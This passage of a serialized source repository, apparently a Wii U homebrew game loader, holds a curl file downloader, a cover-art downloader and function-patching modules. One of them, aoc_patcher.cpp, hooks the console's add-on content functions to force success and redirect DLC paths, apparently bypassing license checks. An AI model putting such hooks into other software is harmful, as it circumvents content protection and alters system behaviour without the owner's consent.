private_data->filesize, buffer, read_len);\n        private_data->filesize += read_len;\n        return read_len;\n    }\n}\n\nint FileDownloader::curlProgressCallback(void *clientp, double dltotal, double dlnow, double ultotal, double ulnow)\n{\n    curl_private_data_t *private_data = (curl_private_data_t *)clientp;\n    if(private_data->progressCallback)\n    {\n        private_data->progressCallback(private_data->progressArg, (u32)dlnow, (u32)dltotal);\n    }\n    return 0;\n}\n\n"
  },
  {
    "path": "src/network/FileDownloader.h",
    "content": "/****************************************************************************\n * Copyright (C) 2016 Dimok\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#ifndef _FILE_DOWNLOADER_H\n#define _FILE_DOWNLOADER_H\n\n#include <string>\n#include \"fs/CFile.hpp\"\n\nclass FileDownloader\n{\npublic:\n    typedef void (*ProgressCallback)(void *arg, u32 done, u32 total);\n\n    static bool getFile(const std::string & downloadUrl, std::string & fileBuffer, ProgressCallback callback = 0, void *arg = 0);\n    static bool getFile(const std::string & downloadUrl, const std::string & outputPath, ProgressCallback callback = 0, void *arg = 0);\nprivate:\n    typedef struct\n    {\n        ProgressCallback progressCallback;\n        void *progressArg;\n        CFile * file;\n        u8 *buffer;\n        u32 filesize;\n    } curl_private_data_t;\n\n    static bool internalGetFile(const std::string & downloadUrl, curl_private_data_t * private_data);\n    static int curlCallback(void *buffer, int size, int nmemb, void *userp);\n    static int curlProgressCallback(void *clientp, double dltotal, double dlnow, double ultotal, double ulnow);\n};\n\n#endif // _FILE_DOWNLOADER_H\n"
  },
  {
    "path": "src/network/GameImageDownloader.cpp",
    "content": "/****************************************************************************\n * Copyright (C) 2011 Dimok\n * Copyright (C) 2012 Cyan\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#include <string.h>\n#include \"GameImageDownloader.h\"\n#include \"settings/CSettings.h\"\n#include \"game/GameList.h\"\n#include \"fs/CFile.hpp\"\n#include \"fs/fs_utils.h\"\n#include \"utils/logger.h\"\n\nusing namespace std;\n\n#define VALID_IMAGE(size) (!(size == 36864 || size <= 1024 || size == 7386 || size <= 1174 || size == 4446))\n\nstatic const char *serverURL3D = \"http://art.gametdb.com/wiiu/cover3D/\";\nstatic const char *serverURL2D = \"http://art.gametdb.com/wiiu/cover/\";\nstatic const char *serverURLFullHQ = \"http://art.gametdb.com/wiiu/coverfullHQ/\";\nstatic const char *serverURLFull = \"http://art.gametdb.com/wiiu/coverfull/\";\nstatic const char *serverURLOrigDiscs = \"http://art.gametdb.com/wiiu/discM/\";\nstatic const char *serverURLCustomDiscs = \"http://art.gametdb.com/wiiu/disccustom/\";\n\nvoid GameImageDownloader::executeThread()\n{\n\tMissingImagesCount = 0;\n\tFindMissingImages();\n\n\tif(MissingImagesCount == 0)\n\t{\n\t    DEBUG_FUNCTION_LINE(\"No images missing\\n\");\n        asyncLoadFinished(this, MissingImages.size());\n\t\treturn;\n\t}\n\n\tu32 TotalDownloadCount = MissingImagesCount;\n\n\n\tDownloadProcess(TotalDownloadCount);\n\n\tasyncLoadFinished(this, MissingImages.size());\n}\n\nvoid GameImageDownloader::FindMissingImages()\n{\n\t//if(choices & CheckedBox1)\n\t\tFindMissing(CSettings::getValueAsString(CSettings::GameCover3DPath).c_str(), serverURL3D, NULL, \"Downloading 3D Covers\", NULL, \".png\");\n\n    /*\n\tif(choices & CheckedBox2)\n\t\tFindMissing(Settings.covers2d_path, serverURL2D, NULL, tr(\"Downloading Flat Covers\"), NULL, \".png\");\n\n\tif(choices & CheckedBox3)\n\t{\n\t\tconst char * downloadURL = (Settings.coversfull == COVERSFULL_HQ || Settings.coversfull == COVERSFULL_HQ_LQ ) ? serverURLFullHQ : serverURLFull;\n\t\tconst char * progressTitle = (Settings.coversfull == COVERSFULL_HQ || Settings.coversfull == COVERSFULL_HQ_LQ ) ? tr(\"Downloading Full HQ Covers\") : tr(\"Downloading Full LQ Covers\");\n\t\tconst char * backupURL = (Settings.coversfull == COVERSFULL_HQ_LQ || Settings.coversfull == COVERSFULL_LQ_HQ) ? ((Settings.coversfull == COVERSFULL_HQ_LQ) ? serverURLFull : serverURLFullHQ) : NULL;\n\t\tconst char * backupProgressTitle = (Settings.coversfull == COVERSFULL_HQ_LQ || Settings.coversfull == COVERSFULL_LQ_HQ) ? ((Settings.coversfull == COVERSFULL_HQ_LQ) ? tr(\"Downloading Full LQ Covers\") : tr(\"Downloading Full HQ Covers\")) : NULL;\n\t\tFindMissing(Settings.coversFull_path, downloadURL, backupURL, progressTitle, backupProgressTitle, \".png\");\n\t}\n\n\tif(choices & CheckedBox4)\n\t{\n\t\tconst char * downloadURL = (Settings.discart == DISCARTS_ORIGINALS || Settings.discart == DISCARTS_ORIGINALS_CUSTOMS ) ? serverURLOrigDiscs : serverURLCustomDiscs;\n\t\tconst char * progressTitle = (Settings.discart == DISCARTS_ORIGINALS || Settings.discart == DISCARTS_ORIGINALS_CUSTOMS ) ? tr(\"Downloading original Discarts\") : tr(\"Downloading custom Discarts\");\n\t\tconst char * backupURL = (Settings.discart == DISCARTS_ORIGINALS_CUSTOMS || Settings.discart == DISCARTS_CUSTOMS_ORIGINALS) ? ((Settings.discart == DISCARTS_ORIGINALS_CUSTOMS) ? serverURLCustomDiscs : serverURLOrigDiscs) : NULL;\n\t\tconst char * backupProgressTitle = (Settings.discart == DISCARTS_ORIGINALS_CUSTOMS || Settings.discart == DISCARTS_CUSTOMS_ORIGINALS) ? ((Settings.discart == DISCARTS_ORIGINALS_CUSTOMS) ? tr(\"Downloading custom Discarts\") : tr(\"Downloading original Discarts\")) : NULL;\n\t\tFindMissing(Settings.disc_path, downloadURL, backupURL, progressTitle, backupProgressTitle, \".png\");\n\t}\n\t*/\n}\n\nint GameImageDownloader::GetMissingGameFiles(const string & path, const string & fileext, vector<string> & MissingFilesList)\n{\n\tMissingFilesList.clear();\n\n\tfor (int i = 0; i < GameList::instance()->size(); ++i)\n\t{\n\t\tconst discHeader* header = GameList::instance()->at(i);\n\n        string filepath = path + \"/\" + header->id + fileext;\n\n\t\tif (CheckFile(filepath.c_str()))\n\t\t\tcontinue;\n\n\t\t//! Not found add to missing list\n\t\tMissingFilesList.push_back(header->id);\n\t}\n\treturn MissingFilesList.size();\n}\n\n\nvoid GameImageDownloader::FindMissing(const char * writepath, const  char * downloadURL, const char * backupURL, const  char * progressTitle, const  char * backupProgressTitle, const  char * fileExt)\n{\n\tif (!CreateSubfolder(writepath))\n\t{\n\t\t//WindowPrompt(tr( \"Error !\" ), fmt(\"%s %s\", tr(\"Can't create directory\"), writepath), tr( \"OK\" ));\n\t\treturn;\n\t}\n\n\tvector<string> MissingFilesList;\n    GetMissingGameFiles(writepath, fileExt, MissingFilesList);\n\n\tint size = MissingImages.size();\n\tMissingImages.resize(size+MissingFilesList.size());\n\n\tfor(u32 i = 0, n = size; i < MissingFilesList.size(); ++i, ++n)\n\t{\n\t\tMissingImages[n].gameID = MissingFilesList[i];\n\t\tMissingImages[n].downloadURL = downloadURL;\n\t\tMissingImages[n].backupURL = backupURL;\n\t\tMissingImages[n].writepath = writepath;\n\t\tMissingImages[n].progressTitle = progressTitle;\n\t\tMissingImages[n].backupProgressTitle = backupProgressTitle;\n\t\tMissingImages[n].fileExt = fileExt;\n\t}\n\n    MissingImagesCount += MissingFilesList.size();\n}\n\nint GameImageDownloader::DownloadProcess(int TotalDownloadCount)\n{\n\tfor(u32 i = 0, pos = 0; i < MissingImages.size(); ++i, ++pos)\n\t{\n\t\t//if(ProgressCanceled())\n\t\t//\tbreak;\n\n        //snprintf(progressMsg, sizeof(progressMsg), \"http://gametdb.com : %s.png\", MissingImages[i].gameID.c_str());\n\n\t\t//ShowProgress(MissingImages[i].progressTitle, fmt(\"%i %s\", TotalDownloadCount - pos, tr( \"files left\" )), progressMsg, pos, TotalDownloadCount);\n\n        char progressMsg[100];\n        snprintf(progressMsg, sizeof(progressMsg), \"http://gametdb.com : %s.png - %i files left\", MissingImages[i].gameID.c_str(), TotalDownloadCount - pos);\n        progressWindow.setTitle(progressMsg);\n        progressWindow.setProgress(100.0f * (f32)pos / (f32)TotalDownloadCount);\n\n        std::string imageData;\n\n\t\tDownloadImage(MissingImages[i].downloadURL, MissingImages[i].gameID.c_str(), MissingImages[i].fileExt, imageData);\n\t\tif(!imageData.size())\n\t\t{\n\t\t\tif(MissingImages[i].backupURL)\n\t\t\t{\n\t\t\t\tDEBUG_FUNCTION_LINE(\"Trying backup URL.\\n\");\n\t\t\t\tMissingImages[i].downloadURL = MissingImages[i].backupURL;\n\t\t\t\tMissingImages[i].backupURL = NULL;\n\t\t\t\tMissingImages[i].progressTitle = MissingImages[i].backupProgressTitle;\n\t\t\t\t--i;\n\t\t\t\t--pos;\n\t\t\t}\n\t\t\tcontinue;\n\t\t}\n\n\t\tDEBUG_FUNCTION_LINE(\" - OK\\n\");\n\n\t\tstd::string strOutpath;\n\t\tstrOutpath = MissingImages[i].writepath;\n\t\tstrOutpath += \"/\";\n\t\tstrOutpath += MissingImages[i].gameID;\n\t\tstrOutpath += MissingImages[i].fileExt;\n\n\t\tCFile file(strOutpath, CFile::WriteOnly);\n\t\tif(file.isOpen())\n        {\n\t\t\tfile.write((u8*)imageData.c_str(), imageData.size());\n            file.close();\n        }\n\n\t\t//! Remove the image from the vector since it's done\n\t\tMissingImages.erase(MissingImages.begin()+i);\n\t\t--i;\n\t}\n\n\treturn MissingImages.size();\n}\n\nbool GameImageDownloader::DownloadImage(const char * url, const char * gameID, const char * fileExt, std::string & imageData)\n{\n\tstd::string checkedRegion;\n\tstd::string downloadURL;\n\tbool PAL = false;\n    const char *db_language = CSettings::getValueAsString(CSettings::ConsoleRegionCode).c_str(); // TODO: read from wiiu settings\n\n\t//Creates URL depending from which Country the game is\n\tswitch (gameID[3])\n\t{\n\t\tcase 'J':\n\t\t    downloadURL = std::string(url) + \"JA/\" + gameID + fileExt;\n\t\t\tcheckedRegion = \"JA\";\n\t\t\tbreak;\n\t\tcase 'W':\n\t\t    downloadURL = std::string(url) + \"ZH/\" + gameID + fileExt;\n\t\t\tcheckedRegion = \"ZH\";\n\t\t\tbreak;\n\t\tcase 'K':\n\t\t    downloadURL = std::string(url) + \"KO/\" + gameID + fileExt;\n\t\t\tcheckedRegion = \"KO\";\n\t\t\tbreak;\n\t\tcase 'P':\n\t\tcase 'D':\n\t\tcase 'F':\n\t\tcase 'I':\n\t\tcase 'S':\n\t\tcase 'H':\n\t\tcase 'U':\n\t\tcase 'X':\n\t\tcase 'Y':\n\t\tcase 'Z':\n\t\t    downloadURL = std::string(url) + db_language + \"/\" + gameID + fileExt;\n\t\t\tcheckedRegion = db_language;\n\t\t\tPAL = true;\n\t\t\tbreak;\n\t\tcase 'E':\n\t\t    downloadURL = std::string(url) + \"US/\" + gameID + fileExt;\n\t\t\tcheckedRegion = \"US\";\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tbreak;\n\t}\n\n\tDEBUG_FUNCTION_LINE(\"downloadURL %s\", downloadURL.c_str());\n\n\tFileDownloader::getFile(downloadURL, imageData);\n\tif(VALID_IMAGE(imageData.size()))\n\t\treturn true;\n\n    imageData.clear();\n\n    //! those are not needed yet -> later\n    //! just shutup the compiler\n    (void)PAL;\n    (void)serverURL2D;\n    (void)serverURLFullHQ;\n    (void)serverURLFull;\n    (void)serverURLOrigDiscs;\n    (void)serverURLCustomDiscs;\n\n    return false;\n/*\n\tif(PAL && strcmp(CheckedRegion, \"EN\") != 0)\n\t{\n\t\tsnprintf(downloadURL, sizeof(downloadURL), \"%sEN/%s.png\", url, gameID);\n\t\tDEBUG_FUNCTION_LINE(\" - Not found.\\n%s\", downloadURL);\n\t\tfile = downloadfile(downloadURL);\n\t\tif(VALID_IMAGE(file))\n\t\t\treturn file;\n\t}\n\telse if(strcmp(CheckedRegion, \"\") == 0)\n\t{\n\t\tconst char * lang = Settings.db_language;\n\n\t\tif(strcmp(lang, \"EN\") == 0 && CONF_GetRegion() == CONF_REGION_US)\n\t\t\tlang = \"US\";\n\n\t\tsnprintf(downloadURL, sizeof(downloadURL), \"%s%s/%s.png\", url, lang, gameID);\n\t\tDEBUG_FUNCTION_LINE(\" - Not found.\\n%s\", downloadURL);\n\t\tfile = downloadfile(downloadURL);\n\t\tif(VALID_IMAGE(file))\n\t\t\treturn file;\n\n\t\tfree(file.data);\n\n\t\tsnprintf(downloadURL, sizeof(downloadURL), \"%sOTHER/%s.png\", url, gameID);\n\t\tDEBUG_FUNCTION_LINE(\" - Not found.\\n%s\", downloadURL);\n\t\tfile = downloadfile(downloadURL);\n\t\tif(VALID_IMAGE(file))\n\t\t\treturn file;\n\t}\n\n\tDEBUG_FUNCTION_LINE(\" - Not found.\\n\");\n\tfree(file.data);\n\n\tmemset(&file, 0, sizeof(struct block));\n*/\n}\n\n"
  },
  {
    "path": "src/network/GameImageDownloader.h",
    "content": "#ifndef GAME_IMAGE_DOWNLOADER_H_\n#define GAME_IMAGE_DOWNLOADER_H_\n\n#include <vector>\n#include <string>\n#include \"FileDownloader.h\"\n#include \"system/AsyncDeleter.h\"\n#include \"menu/ProgressWindow.h\"\n\nclass GameImageDownloader : public GuiFrame, public CThread\n{\npublic:\n    GameImageDownloader()\n        : GuiFrame(0, 0)\n        , CThread(CThread::eAttributeAffCore0 | CThread::eAttributePinnedAff)\n        , progressWindow(\"Downloading images...\")\n\t{\n\t    append(&progressWindow);\n\n\t    width = progressWindow.getWidth();\n\t    height = progressWindow.getHeight();\n\t}\n\n    void startDownloading()\n    {\n        resumeThread();\n    }\n\n    sigslot::signal2<GameImageDownloader *, int> asyncLoadFinished;\nprivate:\n    void executeThread();\n\n    void FindMissingImages();\n    void FindMissing(const char *writepath, const char *downloadURL, const char *backupURL, const char *progressTitle, const char *backupProgressTitle, const char *fileExt);\n    int GetMissingGameFiles(const std::string & path, const std::string & fileext, std::vector<std::string> & MissingFilesList);\n    int DownloadProcess(int TotalDownloadCount);\n    bool DownloadImage(const char * url, const char * gameID, const char * fileExt, std::string & imageData);\n\n    struct ImageLink\n    {\n        std::string gameID;\n        const char *downloadURL;\n        const char *backupURL;\n        const char *writepath;\n        const char *progressTitle;\n        const char *backupProgressTitle;\n        const char *fileExt;\n    };\n    u32 MissingImagesCount;\n    std::vector<ImageLink> MissingImages;\n\n    ProgressWindow progressWindow;\n};\n\n#endif\n"
  },
  {
    "path": "src/patcher/aoc_patcher.cpp",
    "content": "#include <stdio.h>\n#include \"aoc_patcher.h\"\n#include \"common/retain_vars.h\"\n\nDECL(int, ACPGetAddOnUniqueId, unsigned int * id_buffer, int buffer_size)\n{\n    int result = real_ACPGetAddOnUniqueId(id_buffer, buffer_size);\n\n    if(GAME_LAUNCHED && gEnableDLC)\n    {\n        id_buffer[0] = (cosAppXmlInfoStruct.title_id >> 8) & 0xffff;\n        result = 0;\n    }\n\n    return result;\n}\n\nDECL(int, AOC_OpenTitle, char * path, void * target, void * buffer, unsigned int buffer_size)\n{\n    int result  = real_AOC_OpenTitle(path, target, buffer, buffer_size);\n\n    if(GAME_LAUNCHED && gEnableDLC && (result != 0))\n    {\n        sprintf(path, \"/vol/aoc0005000c%08x\", (u32)(cosAppXmlInfoStruct.title_id & 0xffffffff));\n        result = 0;\n    }\n    return result;\n}\n\n/* *****************************************************************************\n * Creates function pointer array\n * ****************************************************************************/\n\nhooks_magic_t method_hooks_aoc[] __attribute__((section(\".data\"))) = {\n    MAKE_MAGIC(AOC_OpenTitle,               LIB_AOC,DYNAMIC_FUNCTION),\n    MAKE_MAGIC(ACPGetAddOnUniqueId,         LIB_NN_ACP,DYNAMIC_FUNCTION),\n};\n\n\nu32 method_hooks_size_aoc __attribute__((section(\".data\"))) = sizeof(method_hooks_aoc) / sizeof(hooks_magic_t);\n\n//! buffer to store our instructions needed for our replacements\nvolatile u32 method_calls_aoc[sizeof(method_hooks_aoc) / sizeof(hooks_magic_t) * FUNCTION_PATCHER_METHOD_STORE_SIZE] __attribute__((section(\".data\")));\n"
  },
  {
    "path": "src/patcher/aoc_patcher.h",
    "content": "#ifndef _AOC_FUNCTION_PATCHER_H\n#define _AOC_FUNCTION_PATCHER_H\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#include \"utils/function_patcher.h\"\n#include \"common/kernel_defs.h\"\n\nextern hooks_magic_t            method_hooks_aoc[];\nextern u32                      method_hooks_size_aoc;\nextern volatile u32             method_calls_aoc[];\n\nextern ReducedCosAppXmlInfo cosAppXmlInfoStruct;\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif /* _AOC_FUNCTION_PATCHER_H */\n"
  },
  {
    "path": "src/patcher/cpp_to_c_util.cpp",
    "content": "#include \"cpp_to_c_util.h\"\n#include <string.h>\n#include \"utils/FileReplacer.h\"\n#include \"common/common.h\"\n#include \"common/retain_vars.h\"\n#include \"video/shaders/ColorShader.h\"\n\nreplacement_FileReplacer_t replacement_FileReplacer_initWithFile(char * path, char * content, char * filename,void * pClient,void * pCmd) {\n\treturn new FileReplacer(path,content,filename,pClient,pCmd);\n}\n\nvoid replacement_FileReplacer_destroy(replacement_FileReplacer_t untyped_ptr) {\n\tFileReplacer* typed_ptr = static_cast<FileReplacer*>(untyped_ptr);\n\tdelete typed_ptr;\n}\n\nint replacement_FileReplacer_isFileExisting(replacement_FileReplacer_t untyped_self, char * param) {\n\tif(untyped_self != NULL){\n\t\tFileReplacer* typed_self = static_cast<FileReplacer*>(untyped_self);\n\t\tif(param != 0){\n\t\t\treturn typed_self->isFileExisting(std::string(param));\n\t\t}\n\t}\n\treturn -1;\n}\n"
  },
  {
    "path": "src/patcher/cpp_to_c_util.h",
    "content": " #ifdef __cplusplus\n #define EXTERNC extern \"C\"\n #else\n #define EXTERNC\n #endif\n #include \"common/types.h\"\n\n typedef void* replacement_FileReplacer_t;\n EXTERNC replacement_FileReplacer_t replacement_FileReplacer_initWithFile(char * path, char * content, char * filename,void * pClient,void * pCmd);\n EXTERNC void replacement_FileReplacer_destroy(replacement_FileReplacer_t filereplacer);\n EXTERNC int replacement_FileReplacer_isFileExisting(replacement_FileReplacer_t self, char* param);\n\n #undef EXTERNC\n"
  },
  {
    "path": "src/patcher/extra_log_patcher.cpp",
    "content": "#include \"extra_log_patcher.h\"\n\n#define USE_EXTRA_LOG_FUNCTIONS   0\n\n#if (USE_EXTRA_LOG_FUNCTIONS == 1)\nDECL(int, OSDynLoad_GetModuleName, unsigned int *handle, char *name_buffer, int *name_buffer_size) {\n\n    int result = real_OSDynLoad_GetModuleName(handle, name_buffer, name_buffer_size);\n    if ((int)bss_ptr != 0x0a000000)\n    {\n        char buffer[200];\n        __os_snprintf(buffer, sizeof(buffer), \"OSDynLoad_GetModuleName: %s result %i\", (name_buffer && result == 0) ? name_buffer : \"NULL\", result);\n        fs_log_string(bss.global_sock, buffer, BYTE_LOG_STR);\n    }\n\n    return result;\n}\n\nDECL(int, OSDynLoad_IsModuleLoaded, char* rpl, unsigned int *handle, int r5 __attribute__((unused))) {\n\n    int result = real_OSDynLoad_IsModuleLoaded(rpl, handle, 1);\n    if ((int)bss_ptr != 0x0a000000)\n    {\n        char buffer[200];\n        __os_snprintf(buffer, sizeof(buffer), \"OSDynLoad_IsModuleLoaded: %s result %i\", rpl, result);\n        fs_log_string(bss.global_sock, buffer, BYTE_LOG_STR);\n    }\n\n    return result;\n}\n#endif\n\n/* *****************************************************************************\n * Log functions\n * ****************************************************************************/\n#if (USE_EXTRA_LOG_FUNCTIONS == 1)\nstatic void fs_log_byte_for_client(void *pClient, char byte) {\n    int client = GetCurClient(pClient);\n    if (client != -1) {\n        fs_log_byte(bss.socket_fs[client], byte);\n    }\n}\n\nDECL(int, FSCloseFile_log, void *pClient, void *pCmd, int fd, int error) {\n    fs_log_byte_for_client(pClient, BYTE_CLOSE_FILE);\n    return real_FSCloseFile_log(pClient, pCmd, fd, error);\n}\nDECL(int, FSCloseDir_log, void *pClient, void *pCmd, int fd, int error) {\n    fs_log_byte_for_client(pClient, BYTE_CLOSE_DIR);\n    return real_FSCloseDir_log(pClient, pCmd, fd, error);\n}\nDECL(int, FSFlushFile_log, void *pClient, void *pCmd, int fd, int error) {\n    fs_log_byte_for_client(pClient, BYTE_FLUSH_FILE);\n    return real_FSFlushFile_log(pClient, pCmd, fd, error);\n}\nDECL(int, FSGetErrorCodeForViewer_log, void *pClient, void *pCmd) {\n    fs_log_byte_for_client(pClient, BYTE_GET_ERROR_CODE_FOR_VIEWER);\n    return real_FSGetErrorCodeForViewer_log(pClient, pCmd);\n}\nDECL(int, FSGetLastError_log, void *pClient) {\n    fs_log_byte_for_client(pClient, BYTE_GET_LAST_ERROR);\n    return real_FSGetLastError_log(pClient);\n}\nDECL(int, FSGetPosFile_log, void *pClient, void *pCmd, int fd, int *pos, int error) {\n    fs_log_byte_for_client(pClient, BYTE_GET_POS_FILE);\n    return real_FSGetPosFile_log(pClient, pCmd, fd, pos, error);\n}\nDECL(int, FSGetStatFile_log, void *pClient, void *pCmd, int fd, void *buffer, int error) {\n    fs_log_byte_for_client(pClient, BYTE_GET_STAT_FILE);\n    return real_FSGetStatFile_log(pClient, pCmd, fd, buffer, error);\n}\nDECL(int, FSIsEof_log, void *pClient, void *pCmd, int fd, int error) {\n    fs_log_byte_for_client(pClient, BYTE_EOF);\n    return real_FSIsEof_log(pClient, pCmd, fd, error);\n}\n\nDECL(int, FSReadFileWithPos_log, void *pClient, void *pCmd, void *buffer, int size, int count, int pos, int fd, int flag, int error) {\n    fs_log_byte_for_client(pClient, BYTE_READ_FILE_WITH_POS);\n    return real_FSReadFileWithPos_log(pClient, pCmd, buffer, size, count, pos, fd, flag, error);\n}\nDECL(int, FSSetPosFile_log, void *pClient, void *pCmd, int fd, int pos, int error) {\n    fs_log_byte_for_client(pClient, BYTE_SET_POS_FILE);\n    return real_FSSetPosFile_log(pClient, pCmd, fd, pos, error);\n}\nDECL(void, FSSetStateChangeNotification_log, void *pClient, int r4) {\n    fs_log_byte_for_client(pClient, BYTE_SET_STATE_CHG_NOTIF);\n    real_FSSetStateChangeNotification_log(pClient, r4);\n}\nDECL(int, FSTruncateFile_log, void *pClient, void *pCmd, int fd, int error) {\n    fs_log_byte_for_client(pClient, BYTE_TRUNCATE_FILE);\n    return real_FSTruncateFile_log(pClient, pCmd, fd, error);\n}\nDECL(int, FSWriteFile_log, void *pClient, void *pCmd, const void *source, int size, int count, int fd, u32 flag, int error) {\n    fs_log_byte_for_client(pClient, BYTE_WRITE_FILE);\n    return real_FSWriteFile_log(pClient, pCmd, source, size, count, fd, flag, error);\n}\nDECL(int, FSWriteFileWithPos_log, void *pClient, void *pCmd, const void *source, int size, int count, int pos, int fd, u32 flag, int error) {\n    fs_log_byte_for_client(pClient, BYTE_WRITE_FILE_WITH_POS);\n    return real_FSWriteFileWithPos_log(pClient, pCmd, source, size, count, pos, fd, flag, error);\n}\n\nDECL(int, FSGetVolumeState_log, void *pClient) {\n    int result = real_FSGetVolumeState_log(pClient);\n\n    if ((int)bss_ptr != 0x0a000000)\n    {\n        if (result > 1)\n        {\n            int error = real_FSGetLastError_log(pClient);\n\n            char buffer[200];\n            __os_snprintf(buffer, sizeof(buffer), \"FSGetVolumeState: %i, last error = %i\", result, error);\n            fs_log_string(bss.global_sock, buffer, BYTE_LOG_STR);\n        }\n    }\n\n    return result;\n}\n\n#endif\n\n/* *****************************************************************************\n * Creates function pointer array\n * ****************************************************************************/\n\nhooks_magic_t method_hooks_extra_log[] __attribute__((section(\".data\"))) = {\n    #if (USE_EXTRA_LOG_FUNCTIONS == 1)\n    MAKE_MAGIC(FSCloseFile_log,             LIB_CORE_INIT,STATIC_FUNCTION),\n    MAKE_MAGIC(FSCloseDir_log,              LIB_CORE_INIT,STATIC_FUNCTION),\n    MAKE_MAGIC(FSFlushFile_log,             LIB_CORE_INIT,STATIC_FUNCTION),\n    MAKE_MAGIC(FSGetErrorCodeForViewer_log, LIB_CORE_INIT,STATIC_FUNCTION),\n    MAKE_MAGIC(FSGetLastError_log,          LIB_CORE_INIT,STATIC_FUNCTION),\n    MAKE_MAGIC(FSGetPosFile_log,            LIB_CORE_INIT,STATIC_FUNCTION),\n    MAKE_MAGIC(FSGetStatFile_log,           LIB_CORE_INIT,STATIC_FUNCTION),\n    MAKE_MAGIC(FSIsEof_log,                 LIB_CORE_INIT,STATIC_FUNCTION),\n    MAKE_MAGIC(FSReadDir_log,               LIB_CORE_INIT,STATIC_FUNCTION),\n    MAKE_MAGIC(FSReadFile_log,              LIB_CORE_INIT,STATIC_FUNCTION),\n    MAKE_MAGIC(FSReadFileWithPos_log,       LIB_CORE_INIT,STATIC_FUNCTION),\n    MAKE_MAGIC(FSSetPosFile_log,            LIB_CORE_INIT,STATIC_FUNCTION),\n    MAKE_MAGIC(FSSetStateChangeNotification_log, LIB_CORE_INIT,STATIC_FUNCTION),\n    MAKE_MAGIC(FSTruncateFile_log,          LIB_CORE_INIT,STATIC_FUNCTION),\n    MAKE_MAGIC(FSWriteFile_log,             LIB_CORE_INIT,STATIC_FUNCTION),\n    MAKE_MAGIC(FSWriteFileWithPos_log,      LIB_CORE_INIT,STATIC_FUNCTION),\n    MAKE_MAGIC(FSGetVolumeState_log,        LIB_CORE_INIT,STATIC_FUNCTION),\n#endif\n};\n\n\nu32 method_hooks_size_extra_log __attribute__((section(\".data\"))) = sizeof(method_hooks_extra_log) / sizeof(hooks_magic_t);\n\n//! buffer to store our instructions needed for our replacements\nvolatile u32 method_calls_extra_log[sizeof(method_hooks_extra_log) / sizeof(hooks_magic_t) * FUNCTION_PATCHER_METHOD_STORE_SIZE] __attribute__((section(\".data\")));\n"
  },
  {
    "path": "src/patcher/extra_log_patcher.h",
    "content": "#ifndef _EXTRA_LOG_FUNCTION_PATCHER_H\n#define _EXTRA_LOG_FUNCTION_PATCHER_H\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#include \"utils/function_patcher.h\"\n\nextern hooks_magic_t            method_hooks_extra_log[];\nextern u32                      method_hooks_size_extra_log;\nextern volatile u32             method_calls_extra_log[];\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif /* _EXTRA_LOG_FUNCTION_PATCHER_H */\n"
  },
  {
    "path": "src/patcher/fs_logger.c",
    "content": "#include <malloc.h>\n#include \"common/common.h\"\n#include \"dynamic_libs/os_functions.h\"\n#include \"dynamic_libs/socket_functions.h\"\n#include \"utils/function_patcher.h\"\n#include \"fs_logger.h\"\n#include \"utils/utils.h\"\n#include \"utils/logger.h\"\n\n#define CHECK_ERROR(cond) if (cond) { goto error; }\n\nstatic int cur_sock = 1;\n\nint fs_logger_connect(int *socket) {\n    *socket = cur_sock++;\n    log_printf(\"[%02X] connected\\n\",*socket);\n    return 0;\n}\n\nvoid fs_logger_disconnect(int socket) {\n    log_printf(\"[%02X] disconnected\\n\",socket);\n}\n\nchar * getNameForByte(u8 byte){\n    switch(byte) {\n        case BYTE_NORMAL:                       return \"NORMAL\";\n        case BYTE_SPECIAL:                      return \"SPECIAL\";\n        case BYTE_OK:                           return \"OK\";\n        case BYTE_PING:                         return \"PING\";\n        case BYTE_DISCONNECT:                   return \"DISCONNECT\";\n        case BYTE_LOG_STR:                      return \"Logging\";\n        case BYTE_MOUNT_SD:                     return \"Mounting SD Card\";\n        case BYTE_MOUNT_SD_OK:                  return \"Mounting SD Card success\";\n        case BYTE_MOUNT_SD_BAD:                 return \"Mounting SD Card failed\";\n        case BYTE_STAT:                         return \"GetStat\";\n        case BYTE_STAT_ASYNC:                   return \"GetStatAsync\";\n        case BYTE_OPEN_FILE:                    return \"OpenFile\";\n        case BYTE_OPEN_FILE_ASYNC:              return \"OpenFileAsync\";\n        case BYTE_OPEN_DIR:                     return \"OpenDir\";\n        case BYTE_OPEN_DIR_ASYNC:               return \"OpenDirAsync\";\n        case BYTE_CHANGE_DIR:                   return \"ChangeDir\";\n        case BYTE_CHANGE_DIR_ASYNC:             return \"ChangeDirAsync\";\n        case BYTE_MAKE_DIR:                     return \"MakeDir\";\n        case BYTE_MAKE_DIR_ASYNC:               return \"MakeDirAsync\";\n        case BYTE_RENAME:                       return \"Rename\";\n        case BYTE_RENAME_ASYNC:                 return \"RenameAsync\";\n        case BYTE_REMOVE:                       return \"Remove\";\n        case BYTE_REMOVE_ASYNC:                 return \"RemoveAsync\";\n        case BYTE_CLOSE_FILE:                   return \"CloseFile\";\n        case BYTE_CLOSE_FILE_ASYNC:             return \"CloseFileAsync\";\n        case BYTE_CLOSE_DIR:                    return \"CloseDir\";\n        case BYTE_CLOSE_DIR_ASYNC:              return \"CloseDirAsync\";\n        case BYTE_FLUSH_FILE:                   return \"FlushFile\";\n        case BYTE_GET_ERROR_CODE_FOR_VIEWER:    return \"GetErrorCodeV\";\n        case BYTE_GET_LAST_ERROR:               return \"LastError\";\n        case BYTE_GET_MOUNT_SOURCE:             return \"MountSource\";\n        case 